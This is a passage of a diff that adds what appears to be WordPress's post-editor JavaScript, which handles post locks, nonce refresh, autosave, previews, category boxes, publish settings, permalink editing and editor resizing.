+				$('#active_post_lock').val( received.new_lock );
+			}
+		}
+	}).on( 'before-autosave.update-post-slug', function() {
+		titleHasFocus = document.activeElement && document.activeElement.id === 'title';
+	}).on( 'after-autosave.update-post-slug', function() {
+
+		/*
+		 * Create slug area only if not already there
+		 * and the title field was not focused (user was not typing a title) when autosave ran.
+		 */
+		if ( ! $('#edit-slug-box > *').length && ! titleHasFocus ) {
+			$.post( ajaxurl, {
+					action: 'sample-permalink',
+					post_id: $('#post_ID').val(),
+					new_title: $('#title').val(),
+					samplepermalinknonce: $('#samplepermalinknonce').val()
+				},
+				function( data ) {
+					if ( data != '-1' ) {
+						$('#edit-slug-box').html(data);
+					}
+				}
+			);
+		}
+	});
+
+}(jQuery));
+
+/**
+ * Heartbeat refresh nonces.
+ */
+(function($) {
+	var check, timeout;
+
+	/**
+	 * Only allow to check for nonce refresh every 30 seconds.
+	 */
+	function schedule() {
+		check = false;
+		window.clearTimeout( timeout );
+		timeout = window.setTimeout( function(){ check = true; }, 300000 );
+	}
+
+	$(document).on( 'heartbeat-send.wp-refresh-nonces', function( e, data ) {
+		var post_id,
+			$authCheck = $('#wp-auth-check-wrap');
+
+		if ( check || ( $authCheck.length && ! $authCheck.hasClass( 'hidden' ) ) ) {
+			if ( ( post_id = $('#post_ID').val() ) && $('#_wpnonce').val() ) {
+				data['wp-refresh-post-nonces'] = {
+					post_id: post_id
+				};
+			}
+		}
+	}).on( 'heartbeat-tick.wp-refresh-nonces', function( e, data ) {
+		var nonces = data['wp-refresh-post-nonces'];
+
+		if ( nonces ) {
+			schedule();
+
+			if ( nonces.replace ) {
+				$.each( nonces.replace, function( selector, value ) {
+					$( '#' + selector ).val( value );
+				});
+			}
+
+			if ( nonces.heartbeatNonce )
+				window.heartbeatSettings.nonce = nonces.heartbeatNonce;
+		}
+	}).ready( function() {
+		schedule();
+	});
+}(jQuery));
+
+/**
+ * All post and postbox controls and functionality.
+ */
+jQuery(document).ready( function($) {
+	var stamp, visibility, $submitButtons, updateVisibility, updateText,
+		sticky = '',
+		$textarea = $('#content'),
+		$document = $(document),
+		postId = $('#post_ID').val() || 0,
+		$submitpost = $('#submitpost'),
+		releaseLock = true,
+		$postVisibilitySelect = $('#post-visibility-select'),
+		$timestampdiv = $('#timestampdiv'),
+		$postStatusSelect = $('#post-status-select'),
+		isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false;
+
+	postboxes.add_postbox_toggles(pagenow);
+
+	/*
+	 * Clear the window name. Otherwise if this is a former preview window where the user navigated to edit another post,
+	 * and the first post is still being edited, clicking Preview there will use this window to show the preview.
+	 */
+	window.name = '';
+
+	// Post locks: contain focus inside the dialog. If the dialog is shown, focus the first item.
+	$('#post-lock-dialog .notification-dialog').on( 'keydown', function(e) {
+		// Don't do anything when [tab] is pressed.
+		if ( e.which != 9 )
+			return;
+
+		var target = $(e.target);
+
+		// [shift] + [tab] on first tab cycles back to last tab.
+		if ( target.hasClass('wp-tab-first') && e.shiftKey ) {
+			$(this).find('.wp-tab-last').focus();
+			e.preventDefault();
+		// [tab] on last tab cycles back to first tab.
+		} else if ( target.hasClass('wp-tab-last') && ! e.shiftKey ) {
+			$(this).find('.wp-tab-first').focus();
+			e.preventDefault();
+		}
+	}).filter(':visible').find('.wp-tab-first').focus();
+
+	// Set the heartbeat interval to 15 sec. if post lock dialogs are enabled.
+	if ( wp.heartbeat && $('#post-lock-dialog').length ) {
+		wp.heartbeat.interval( 15 );
+	}
+
+	// The form is being submitted by the user.
+	$submitButtons = $submitpost.find( ':submit, a.submitdelete, #post-preview' ).on( 'click.edit-post', function( event ) {
+		var $button = $(this);
+
+		if ( $button.hasClass('disabled') ) {
+			event.preventDefault();
+			return;
+		}
+
+		if ( $button.hasClass('submitdelete') || $button.is( '#post-preview' ) ) {
+			return;
+		}
+
+		// The form submission can be blocked from JS or by using HTML 5.0 validation on some fields.
+		// Run this only on an actual 'submit'.
+		$('form#post').off( 'submit.edit-post' ).on( 'submit.edit-post', function( event ) {
+			if ( event.isDefaultPrevented() ) {
+				return;
+			}
+
+			// Stop auto save.
+			if ( wp.autosave ) {
+				wp.autosave.server.suspend();
+			}
+
+			if ( typeof commentReply !== 'undefined' ) {
+				/*
+				 * Warn the user they have an unsaved comment before submitting
+				 * the post data for update.
+				 */
+				if ( ! commentReply.discardCommentChanges() ) {
+					return false;
+				}
+
+				/*
+				 * Close the comment edit/reply form if open to stop the form
+				 * action from interfering with the post's form action.
+				 */
+				commentReply.close();
+			}
+
+			releaseLock = false;
+			$(window).off( 'beforeunload.edit-post' );
+
+			$submitButtons.addClass( 'disabled' );
+
+			if ( $button.attr('id') === 'publish' ) {
+				$submitpost.find( '#major-publishing-actions .spinner' ).addClass( 'is-active' );
+			} else {
+				$submitpost.find( '#minor-publishing .spinner' ).addClass( 'is-active' );
+			}
+		});
+	});
+
+	// Submit the form saving a draft or an autosave, and show a preview in a new tab
+	$('#post-preview').on( 'click.post-preview', function( event ) {
+		var $this = $(this),
+			$form = $('form#post'),
+			$previewField = $('input#wp-preview'),
+			target = $this.attr('target') || 'wp-preview',
+			ua = navigator.userAgent.toLowerCase();
+
+		event.preventDefault();
+
+		if ( $this.hasClass('disabled') ) {
+			return;
+		}
+
+		if ( wp.autosave ) {
+			wp.autosave.server.tempBlockSave();
+		}
+
+		$previewField.val('dopreview');
+		$form.attr( 'target', target ).submit().attr( 'target', '' );
+
+		// Workaround for WebKit bug preventing a form submitting twice to the same action.
+		// https://bugs.webkit.org/show_bug.cgi?id=28633
+		if ( ua.indexOf('safari') !== -1 && ua.indexOf('chrome') === -1 ) {
+			$form.attr( 'action', function( index, value ) {
+				return value + '?t=' + ( new Date() ).getTime();
+			});
+		}
+
+		$previewField.val('');
+	});
+
+	// This code is meant to allow tabbing from Title to Post content.
+	$('#title').on( 'keydown.editor-focus', function( event ) {
+		var editor;
+
+		if ( event.keyCode === 9 && ! event.ctrlKey && ! event.altKey && ! event.shiftKey ) {
+			editor = typeof tinymce != 'undefined' && tinymce.get('content');
+
+			if ( editor && ! editor.isHidden() ) {
+				editor.focus();
+			} else if ( $textarea.length ) {
+				$textarea.focus();
+			} else {
+				return;
+			}
+
+			event.preventDefault();
+		}
+	});
+
+	// Auto save new posts after a title is typed.
+	if ( $( '#auto_draft' ).val() ) {
+		$( '#title' ).blur( function() {
+			var cancel;
+
+			if ( ! this.value || $('#edit-slug-box > *').length ) {
+				return;
+			}
+
+			// Cancel the auto save when the blur was triggered by the user submitting the form.
+			$('form#post').one( 'submit', function() {
+				cancel = true;
+			});
+
+			window.setTimeout( function() {
+				if ( ! cancel && wp.autosave ) {
+					wp.autosave.server.triggerSave();
+				}
+			}, 200 );
+		});
+	}
+
+	$document.on( 'autosave-disable-buttons.edit-post', function() {
+		$submitButtons.addClass( 'disabled' );
+	}).on( 'autosave-enable-buttons.edit-post', function() {
+		if ( ! wp.heartbeat || ! wp.heartbeat.hasConnectionError() ) {
+			$submitButtons.removeClass( 'disabled' );
+		}
+	}).on( 'before-autosave.edit-post', function() {
+		$( '.autosave-message' ).text( postL10n.savingText );
+	}).on( 'after-autosave.edit-post', function( event, data ) {
+		$( '.autosave-message' ).text( data.message );
+
+		if ( $( document.body ).hasClass( 'post-new-php' ) ) {
+			$( '.submitbox .submitdelete' ).show();
+		}
+	});
+
+	/*
+	 * When the user is trying to load another page, or reloads current page
+	 * show a confirmation dialog when there are unsaved changes.
+	 */
+	$(window).on( 'beforeunload.edit-post', function() {
+		var editor = typeof tinymce !== 'undefined' && tinymce.get('content');
+
+		if ( ( editor && ! editor.isHidden() && editor.isDirty() ) ||
+			( wp.autosave && wp.autosave.server.postChanged() ) ) {
+
+			return postL10n.saveAlert;
+		}
+	}).on( 'unload.edit-post', function( event ) {
+		if ( ! releaseLock ) {
+			return;
+		}
+
+		/*
+		 * Unload is triggered (by hand) on removing the Thickbox iframe.
+		 * Make sure we process only the main document unload.
+		 */
+		if ( event.target && event.target.nodeName != '#document' ) {
+			return;
+		}
+
+		var postID = $('#post_ID').val();
+		var postLock = $('#active_post_lock').val();
+
+		if ( ! postID || ! postLock ) {
+			return;
+		}
+
+		var data = {
+			action: 'wp-remove-post-lock',
+			_wpnonce: $('#_wpnonce').val(),
+			post_ID: postID,
+			active_post_lock: postLock
+		};
+
+		if ( window.FormData && window.navigator.sendBeacon ) {
+			var formData = new window.FormData();
+
+			$.each( data, function( key, value ) {
+				formData.append( key, value );
+			});
+
+			if ( window.navigator.sendBeacon( ajaxurl, formData ) ) {
+				return;
+			}
+		}
+
+		// Fall back to a synchronous POST request.
+		// See https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon
+		$.post({
+			async: false,
+			data: data,
+			url: ajaxurl
+		});
+	});
+
+	// Multiple Taxonomies.
+	if ( $('#tagsdiv-post_tag').length ) {
+		window.tagBox && window.tagBox.init();
+	} else {
+		$('.meta-box-sortables').children('div.postbox').each(function(){
+			if ( this.id.indexOf('tagsdiv-') === 0 ) {
+				window.tagBox && window.tagBox.init();
+				return false;
+			}
+		});
+	}
+
+	// Handle categories.
+	$('.categorydiv').each( function(){
+		var this_id = $(this).attr('id'), catAddBefore, catAddAfter, taxonomyParts, taxonomy, settingName;
+
+		taxonomyParts = this_id.split('-');
+		taxonomyParts.shift();
+		taxonomy = taxonomyParts.join('-');
+		settingName = taxonomy + '_tab';
+
+		if ( taxonomy == 'category' ) {
+			settingName = 'cats';
+		}
+
+		// TODO: move to jQuery 1.3+, support for multiple hierarchical taxonomies, see wp-lists.js
+		$('a', '#' + taxonomy + '-tabs').click( function( e ) {
+			e.preventDefault();
+			var t = $(this).attr('href');
+			$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
+			$('#' + taxonomy + '-tabs').siblings('.tabs-panel').hide();
+			$(t).show();
+			if ( '#' + taxonomy + '-all' == t ) {
+				deleteUserSetting( settingName );
+			} else {
+				setUserSetting( settingName, 'pop' );
+			}
+		});
+
+		if ( getUserSetting( settingName ) )
+			$('a[href="#' + taxonomy + '-pop"]', '#' + taxonomy + '-tabs').click();
+
+		// Add category button controls.
+		$('#new' + taxonomy).one( 'focus', function() {
+			$( this ).val( '' ).removeClass( 'form-input-tip' );
+		});
+
+		// On [enter] submit the taxonomy.
+		$('#new' + taxonomy).keypress( function(event){
+			if( 13 === event.keyCode ) {
+				event.preventDefault();
+				$('#' + taxonomy + '-add-submit').click();
+			}
+		});
+
+		// After submitting a new taxonomy, re-focus the input field.
+		$('#' + taxonomy + '-add-submit').click( function() {
+			$('#new' + taxonomy).focus();
+		});
+
+		/**
+		 * Before adding a new taxonomy, disable submit button.
+		 *
+		 * @param {Object} s Taxonomy object which will be added.
+		 *
+		 * @returns {Object}
+		 */
+		catAddBefore = function( s ) {
+			if ( !$('#new'+taxonomy).val() ) {
+				return false;
+			}
+
+			s.data += '&' + $( ':checked', '#'+taxonomy+'checklist' ).serialize();
+			$( '#' + taxonomy + '-add-submit' ).prop( 'disabled', true );
+			return s;
+		};
+
+		/**
+		 * Re-enable submit button after a taxonomy has been added.
+		 *
+		 * Re-enable submit button.
+		 * If the taxonomy has a parent place the taxonomy underneath the parent.
+		 *
+		 * @param {Object} r Response.
+		 * @param {Object} s Taxonomy data.
+		 *
+		 * @returns void
+		 */
+		catAddAfter = function( r, s ) {
+			var sup, drop = $('#new'+taxonomy+'_parent');
+
+			$( '#' + taxonomy + '-add-submit' ).prop( 'disabled', false );
+			if ( 'undefined' != s.parsed.responses[0] && (sup = s.parsed.responses[0].supplemental.newcat_parent) ) {
+				drop.before(sup);
+				drop.remove();
+			}
+		};
+
+		$('#' + taxonomy + 'checklist').wpList({
+			alt: '',
+			response: taxonomy + '-ajax-response',
+			addBefore: catAddBefore,
+			addAfter: catAddAfter
+		});
+
+		// Add new taxonomy button toggles input form visibility.
+		$('#' + taxonomy + '-add-toggle').click( function( e ) {
+			e.preventDefault();
+			$('#' + taxonomy + '-adder').toggleClass( 'wp-hidden-children' );
+			$('a[href="#' + taxonomy + '-all"]', '#' + taxonomy + '-tabs').click();
+			$('#new'+taxonomy).focus();
+		});
+
+		// Sync checked items between "All {taxonomy}" and "Most used" lists.
+		$('#' + taxonomy + 'checklist, #' + taxonomy + 'checklist-pop').on( 'click', 'li.popular-category > label input[type="checkbox"]', function() {
+			var t = $(this), c = t.is(':checked'), id = t.val();
+			if ( id && t.parents('#taxonomy-'+taxonomy).length )
+				$('#in-' + taxonomy + '-' + id + ', #in-popular-' + taxonomy + '-' + id).prop( 'checked', c );
+		});
+
+	}); // end cats
+
+	// Custom Fields postbox.
+	if ( $('#postcustom').length ) {
+		$( '#the-list' ).wpList( {
+			/**
+			 * Add current post_ID to request to fetch custom fields
+			 *
+			 * @param {Object} s Request object.
+			 *
+			 * @returns {Object} Data modified with post_ID attached.
+			 */
+			addBefore: function( s ) {
+				s.data += '&post_id=' + $('#post_ID').val();
+				return s;
+			},
+			/**
+			 * Show the listing of custom fields after fetching.
+			 */
+			addAfter: function() {
+				$('table#list-table').show();
+			}
+		});
+	}
+
+	/*
+	 * Publish Post box (#submitdiv)
+	 */
+	if ( $('#submitdiv').length ) {
+		stamp = $('#timestamp').html();
+		visibility = $('#post-visibility-display').html();
+
+		/**
+		 * When the visibility of a post changes sub-options should be shown or hidden.
+		 *
+		 * @returns void
+		 */
+		updateVisibility = function() {
+			// Show sticky for public posts.
+			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'public' ) {
+				$('#sticky').prop('checked', false);
+				$('#sticky-span').hide();
+			} else {
+				$('#sticky-span').show();
+			}
+
+			// Show password input field for password protected post.
+			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'password' ) {
+				$('#password-span').hide();
+			} else {
+				$('#password-span').show();
+			}
+		};
+
+		/**
+		 * Make sure all labels represent the current settings.
+		 *
+		 * @returns {boolean} False when an invalid timestamp has been selected, otherwise True.
+		 */
+		updateText = function() {
+
+			if ( ! $timestampdiv.length )
+				return true;
+
+			var attemptedDate, originalDate, currentDate, publishOn, postStatus = $('#post_status'),
+				optPublish = $('option[value="publish"]', postStatus), aa = $('#aa').val(),
+				mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val();
+
+			attemptedDate = new Date( aa, mm - 1, jj, hh, mn );
+			originalDate = new Date( $('#hidden_aa').val(), $('#hidden_mm').val() -1, $('#hidden_jj').val(), $('#hidden_hh').val(), $('#hidden_mn').val() );
+			currentDate = new Date( $('#cur_aa').val(), $('#cur_mm').val() -1, $('#cur_jj').val(), $('#cur_hh').val(), $('#cur_mn').val() );
+
+			// Catch unexpected date problems.
+			if ( attemptedDate.getFullYear() != aa || (1 + attemptedDate.getMonth()) != mm || attemptedDate.getDate() != jj || attemptedDate.getMinutes() != mn ) {
+				$timestampdiv.find('.timestamp-wrap').addClass('form-invalid');
+				return false;
+			} else {
+				$timestampdiv.find('.timestamp-wrap').removeClass('form-invalid');
+			}
+
+			// Determine what the publish should be depending on the date and post status.
+			if ( attemptedDate > currentDate && $('#original_post_status').val() != 'future' ) {
+				publishOn = postL10n.publishOnFuture;
+				$('#publish').val( postL10n.schedule );
+			} else if ( attemptedDate <= currentDate && $('#original_post_status').val() != 'publish' ) {
+				publishOn = postL10n.publishOn;
+				$('#publish').val( postL10n.publish );
+			} else {
+				publishOn = postL10n.publishOnPast;
+				$('#publish').val( postL10n.update );
+			}
+
+			// If the date is the same, set it to trigger update events.
+			if ( originalDate.toUTCString() == attemptedDate.toUTCString() ) {
+				// Re-set to the current value.
+				$('#timestamp').html(stamp);
+			} else {
+				$('#timestamp').html(
+					'\n' + publishOn + ' <b>' +
+					postL10n.dateFormat
+						.replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) )
+						.replace( '%2$s', parseInt( jj, 10 ) )
+						.replace( '%3$s', aa )
+						.replace( '%4$s', ( '00' + hh ).slice( -2 ) )
+						.replace( '%5$s', ( '00' + mn ).slice( -2 ) ) +
+						'</b> '
+				);
+			}
+
+			// Add "privately published" to post status when applies.
+			if ( $postVisibilitySelect.find('input:radio:checked').val() == 'private' ) {
+				$('#publish').val( postL10n.update );
+				if ( 0 === optPublish.length ) {
+					postStatus.append('<option value="publish">' + postL10n.privatelyPublished + '</option>');
+				} else {
+					optPublish.html( postL10n.privatelyPublished );
+				}
+				$('option[value="publish"]', postStatus).prop('selected', true);
+				$('#misc-publishing-actions .edit-post-status').hide();
+			} else {
+				if ( $('#original_post_status').val() == 'future' || $('#original_post_status').val() == 'draft' ) {
+					if ( optPublish.length ) {
+						optPublish.remove();
+						postStatus.val($('#hidden_post_status').val());
+					}
+				} else {
+					optPublish.html( postL10n.published );
+				}
+				if ( postStatus.is(':hidden') )
+					$('#misc-publishing-actions .edit-post-status').show();
+			}
+
+			// Update "Status:" to currently selected status.
+			$('#post-status-display').html($('option:selected', postStatus).text());
+
+			// Show or hide the "Save Draft" button.
+			if ( $('option:selected', postStatus).val() == 'private' || $('option:selected', postStatus).val() == 'publish' ) {
+				$('#save-post').hide();
+			} else {
+				$('#save-post').show();
+				if ( $('option:selected', postStatus).val() == 'pending' ) {
+					$('#save-post').show().val( postL10n.savePending );
+				} else {
+					$('#save-post').show().val( postL10n.saveDraft );
+				}
+			}
+			return true;
+		};
+
+		// Show the visibility options and hide the toggle button when opened.
+		$( '#visibility .edit-visibility').click( function( e ) {
+			e.preventDefault();
+			if ( $postVisibilitySelect.is(':hidden') ) {
+				updateVisibility();
+				$postVisibilitySelect.slideDown( 'fast', function() {
+					$postVisibilitySelect.find( 'input[type="radio"]' ).first().focus();
+				} );
+				$(this).hide();
+			}
+		});
+
+		// Cancel visibility selection area and hide it from view.
+		$postVisibilitySelect.find('.cancel-post-visibility').click( function( event ) {
+			$postVisibilitySelect.slideUp('fast');
+			$('#visibility-radio-' + $('#hidden-post-visibility').val()).prop('checked', true);
+			$('#post_password').val($('#hidden-post-password').val());
+			$('#sticky').prop('checked', $('#hidden-post-sticky').prop('checked'));
+			$('#post-visibility-display').html(visibility);
+			$('#visibility .edit-visibility').show().focus();
+			updateText();
+			event.preventDefault();
+		});
+
+		// Set the selected visibility as current.
+		$postVisibilitySelect.find('.save-post-visibility').click( function( event ) { // crazyhorse - multiple ok cancels
+			$postVisibilitySelect.slideUp('fast');
+			$('#visibility .edit-visibility').show().focus();
+			updateText();
+
+			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'public' ) {
+				$('#sticky').prop('checked', false);
+			}
+
+			if ( $('#sticky').prop('checked') ) {
+				sticky = 'Sticky';
+			} else {
+				sticky = '';
+			}
+
+			$('#post-visibility-display').html(	postL10n[ $postVisibilitySelect.find('input:radio:checked').val() + sticky ]	);
+			event.preventDefault();
+		});
+
+		// When the selection changes, update labels.
+		$postVisibilitySelect.find('input:radio').change( function() {
+			updateVisibility();
+		});
+
+		// Edit publish time click.
+		$timestampdiv.siblings('a.edit-timestamp').click( function( event ) {
+			if ( $timestampdiv.is( ':hidden' ) ) {
+				$timestampdiv.slideDown( 'fast', function() {
+					$( 'input, select', $timestampdiv.find( '.timestamp-wrap' ) ).first().focus();
+				} );
+				$(this).hide();
+			}
+			event.preventDefault();
+		});
+
+		// Cancel editing the publish time and hide the settings.
+		$timestampdiv.find('.cancel-timestamp').click( function( event ) {
+			$timestampdiv.slideUp('fast').siblings('a.edit-timestamp').show().focus();
+			$('#mm').val($('#hidden_mm').val());
+			$('#jj').val($('#hidden_jj').val());
+			$('#aa').val($('#hidden_aa').val());
+			$('#hh').val($('#hidden_hh').val());
+			$('#mn').val($('#hidden_mn').val());
+			updateText();
+			event.preventDefault();
+		});
+
+		// Save the changed timestamp.
+		$timestampdiv.find('.save-timestamp').click( function( event ) { // crazyhorse - multiple ok cancels
+			if ( updateText() ) {
+				$timestampdiv.slideUp('fast');
+				$timestampdiv.siblings('a.edit-timestamp').show().focus();
+			}
+			event.preventDefault();
+		});
+
+		// Cancel submit when an invalid timestamp has been selected.
+		$('#post').on( 'submit', function( event ) {
+			if ( ! updateText() ) {
+				event.preventDefault();
+				$timestampdiv.show();
+
+				if ( wp.autosave ) {
+					wp.autosave.enableButtons();
+				}
+
+				$( '#publishing-action .spinner' ).removeClass( 'is-active' );
+			}
+		});
+
+		// Post Status edit click.
+		$postStatusSelect.siblings('a.edit-post-status').click( function( event ) {
+			if ( $postStatusSelect.is( ':hidden' ) ) {
+				$postStatusSelect.slideDown( 'fast', function() {
+					$postStatusSelect.find('select').focus();
+				} );
+				$(this).hide();
+			}
+			event.preventDefault();
+		});
+
+		// Save the Post Status changes and hide the options.
+		$postStatusSelect.find('.save-post-status').click( function( event ) {
+			$postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().focus();
+			updateText();
+			event.preventDefault();
+		});
+
+		// Cancel Post Status editing and hide the options.
+		$postStatusSelect.find('.cancel-post-status').click( function( event ) {
+			$postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().focus();
+			$('#post_status').val( $('#hidden_post_status').val() );
+			updateText();
+			event.preventDefault();
+		});
+	}
+
+	/**
+	 * Handle the editing of the post_name. Create the required HTML elements and update the changes via AJAX.
+	 *
+	 * @summary Permalink aka slug aka post_name editing
+	 *
+	 * @global
+	 *
+	 * @returns void
+	 */
+	function editPermalink() {
+		var i, slug_value,
+			$el, revert_e,
+			c = 0,
+			real_slug = $('#post_name'),
+			revert_slug = real_slug.val(),
+			permalink = $( '#sample-permalink' ),
+			permalinkOrig = permalink.html(),
+			permalinkInner = $( '#sample-permalink a' ).html(),
+			buttons = $('#edit-slug-buttons'),
+			buttonsOrig = buttons.html(),
+			full = $('#editable-post-name-full');
+
+		// Deal with Twemoji in the post-name.
+		full.find( 'img' ).replaceWith( function() { return this.alt; } );
+		full = full.html();
+
+		permalink.html( permalinkInner );
+
+		// Save current content to revert to when cancelling.
+		$el = $( '#editable-post-name' );
+		revert_e = $el.html();
+
+		buttons.html( '<button type="button" class="save button button-small">' + postL10n.ok + '</button> <button type="button" class="cancel button-link">' + postL10n.cancel + '</button>' );
+
+		// Save permalink changes.
+		buttons.children( '.save' ).click( function() {
+			var new_slug = $el.children( 'input' ).val();
+
+			if ( new_slug == $('#editable-post-name-full').text() ) {
+				buttons.children('.cancel').click();
+				return;
+			}
+
+			$.post(
+				ajaxurl,
+				{
+					action: 'sample-permalink',
+					post_id: postId,
+					new_slug: new_slug,
+					new_title: $('#title').val(),
+					samplepermalinknonce: $('#samplepermalinknonce').val()
+				},
+				function(data) {
+					var box = $('#edit-slug-box');
+					box.html(data);
+					if (box.hasClass('hidden')) {
+						box.fadeIn('fast', function () {
+							box.removeClass('hidden');
+						});
+					}
+
+					buttons.html(buttonsOrig);
+					permalink.html(permalinkOrig);
+					real_slug.val(new_slug);
+					$( '.edit-slug' ).focus();
+					wp.a11y.speak( postL10n.permalinkSaved );
+				}
+			);
+		});
+
+		// Cancel editing of permalink.
+		buttons.children( '.cancel' ).click( function() {
+			$('#view-post-btn').show();
+			$el.html(revert_e);
+			buttons.html(buttonsOrig);
+			permalink.html(permalinkOrig);
+			real_slug.val(revert_slug);
+			$( '.edit-slug' ).focus();
+		});
+
+		// If more than 1/4th of 'full' is '%', make it empty.
+		for ( i = 0; i < full.length; ++i ) {
+			if ( '%' == full.charAt(i) )
+				c++;
+		}
+		slug_value = ( c > full.length / 4 ) ? '' : full;
+
+		$el.html( '<input type="text" id="new-post-slug" value="' + slug_value + '" autocomplete="off" />' ).children( 'input' ).keydown( function( e ) {
+			var key = e.which;
+			// On [enter], just save the new slug, don't save the post.
+			if ( 13 === key ) {
+				e.preventDefault();
+				buttons.children( '.save' ).click();
+			}
+			// On [esc] cancel the editing.
+			if ( 27 === key ) {
+				buttons.children( '.cancel' ).click();
+			}
+		} ).keyup( function() {
+			real_slug.val( this.value );
+		}).focus();
+	}
+
+	$( '#titlediv' ).on( 'click', '.edit-slug', function() {
+		editPermalink();
+	});
+
+	/**
+	 * Add screen reader text to the title prompt when needed.
+	 *
+	 * @summary Title screen reader text handler.
+	 *
+	 * @param {string} id Optional. HTML ID to add the screen reader helper text to.
+	 *
+	 * @global
+	 *
+	 * @returns void
+	 */
+	wptitlehint = function(id) {
+		id = id || 'title';
+
+		var title = $('#' + id), titleprompt = $('#' + id + '-prompt-text');
+
+		if ( '' === title.val() )
+			titleprompt.removeClass('screen-reader-text');
+
+		titleprompt.click(function(){
+			$(this).addClass('screen-reader-text');
+			title.focus();
+		});
+
+		title.blur(function(){
+			if ( '' === this.value )
+				titleprompt.removeClass('screen-reader-text');
+		}).focus(function(){
+			titleprompt.addClass('screen-reader-text');
+		}).keydown(function(e){
+			titleprompt.addClass('screen-reader-text');
+			$(this).unbind(e);
+		});
+	};
+
+	wptitlehint();
+
+	// Resize the WYSIWYG and plain text editors.
+	( function() {
+		var editor, offset, mce,
+			$handle = $('#post-status-info'),
+			$postdivrich = $('#postdivrich');
+
+		// If there are no textareas or we are on a touch device, we can't do anything.
+		if ( ! $textarea.length || 'ontouchstart' in window ) {
+			// Hide the resize handle.
+			$('#content-resize-handle').hide();
+			return;
+		}
+
+		/**
+		 * Handle drag event.
+		 *
+		 * @param {Object} event Event containing details about the drag.
+		 */
+		function dragging( event ) {
+			if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
+				return;
+			}
+
+			if ( mce ) {
+				editor.theme.resizeTo( null, offset + event.pageY );
+			} else {
+				$textarea.height( Math.max( 50, offset + event.pageY ) );
+			}
+
+			event.preventDefault();
+		}
+
+		/**
+		 * When the dragging stopped make sure we return focus and do a sanity check on the height.
+		 */
+		function endDrag() {
+			var height, toolbarHeight;
+
+			if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
+				return;
+			}
+
+			if ( mce ) {
+				editor.focus();
+				toolbarHeight = parseInt( $( '#wp-content-editor-container .mce-toolbar-grp' ).height(), 10 );
+
+				if ( toolbarHeight < 10 || toolbarHeight > 200 ) {
+					toolbarHeight = 30;
+				}
+
+				height = parseInt( $('#content_ifr').css('height'), 10 ) + toolbarHeight - 28;
+			} else {
+				$textarea.focus();
+				height = parseInt( $textarea.css('height'), 10 );
+			}
+
+			$document.off( '.wp-editor-resize' );
+
+			// Sanity check: normalize height to stay within acceptable ranges.
+			if ( height && height > 50 && height < 5000 ) {
+				setUserSetting( 'ed_size', height );
+			}
+		}
+
+		$handle.on( 'mousedown.wp-editor-resize', function( event ) {
+			if ( typeof tinymce !== 'undefined' ) {
+				editor = tinymce.get('content');
+			}
+
+			if ( editor && ! editor.isHidden() ) {
+				mce = true;
+				offset = $('#content_ifr').height() - event.pageY;
+			} else {
+				mce = false;
+				offset = $textarea.height() - event.pageY;
+				$textarea.blur();
+			}
+
+			$document.on( 'mousemove.wp-editor-resize', dragging )
+				.on( 'mouseup.wp-editor-resize mouseleave.wp-editor-resize', endDrag );
+
+			event.preventDefault();
+		}).on( 'mouseup.wp-editor-resize', endDrag );
+	})();
+
+	// TinyMCE specific handling of Post Format changes to reflect in the editor.
+	if ( typeof tinymce !== 'undefined' ) {
+		// When changing post formats, change the editor body class.
+		$( '#post-formats-select input.post-format' ).on( 'change.set-editor-class', function() {
+			var editor, body, format = this.id;
+
+			if ( format && $( this ).prop( 'checked' ) && ( editor = tinymce.get( 'content' ) ) ) {
+				body = editor.getBody();
+				body.className = body.className.replace( /\bpost-format-[^ ]+/, '' );
+				editor.dom.addClass( body, format == 'post-format-0' ? 'post-format-standard' : format );
+				$( document ).trigger( 'editor-classchange' );
+			}
+		});
+
+		// When changing page template, change the editor body class
+		$( '#page_template' ).on( 'change.set-editor-class', function() {
+			var editor, body, pageTemplate = $( this ).val() || '';
+
+			pageTemplate = pageTemplate.substr( pageTemplate.lastIndexOf( '/' ) + 1, pageTemplate.length )
+				.replace( /\.php$/, '' )
+				.replace( /\./g, '-' );
+
+			if ( pageTemplate && ( editor = tinymce.get( 'content' ) ) ) {
+				body = editor.getBody();
+				body.className = body.className.replace( /\bpage-template-[^ ]+/, '' );
+				editor.dom.addClass( body, 'page-template-' + pageTemplate );
+				$( document ).trigger( 'editor-classchange' );
+			}
+		});
+
+	}
+
+	// Save on pressing [ctrl]/[command] + [s] in the Text editor.
+	$textarea.on( 'keydown.wp-autosave', function( event ) {
+		// Key [s] has code 83.
+		if ( event.which === 83 ) {
+			if ( event.shiftKey || event.altKey || ( isMac && ( ! event.metaKey || event.ctrlKey ) ) || ( ! isMac && ! event.ctrlKey ) ) {
+				return;
+			}
+
+			wp.autosave && wp.autosave.server.triggerSave();
+			event.preventDefault();
+		}
+	});
+
+	// If the last status was auto-draft and the save is triggered, edit the current URL.
+	if ( $( '#original_post_status' ).val() === 'auto-draft' && window.history.replaceState ) {
+		var location;
+
+		$( '#publish' ).on( 'click', function() {
+			location = window.location.href;
+			location += ( location.indexOf( '?' ) !== -1 ) ? '&' : '?';
+			location += 'wp-post-new-reload=true';
+
+			window.history.replaceState( null, null, location );
+		});
+	}
+});
+
+/**
+ * TinyMCE word count display
+ */
+( function( $, counter ) {
+	$( function() {
+		var $content = $( '#content' ),
+			$count = $( '#wp-word-count' ).find( '.word-count' ),
+			prevCount = 0,
+			contentEditor;
+
+		/**
+		 * Get the word count from TinyMCE and display it
+		 */
+		function update() {
+			var text, count;
+
+			if ( ! contentEditor || contentEditor.isHidden() ) {
+				text = $content.val();
+			} else {
+				text = contentEditor.getContent( { format: 'raw' } );
+			}
+
+			count = counter.count( text );
+
+			if ( count !== prevCount ) {
+				$count.text( count );
+			}
+
+			prevCount = count;
+		}
+
+		/**
+		 * Bind the word count update triggers.
+		 *
+		 * When a node change in the main TinyMCE editor has been triggered.
+		 * When a key has been released in the plain text content editor.
+		 */
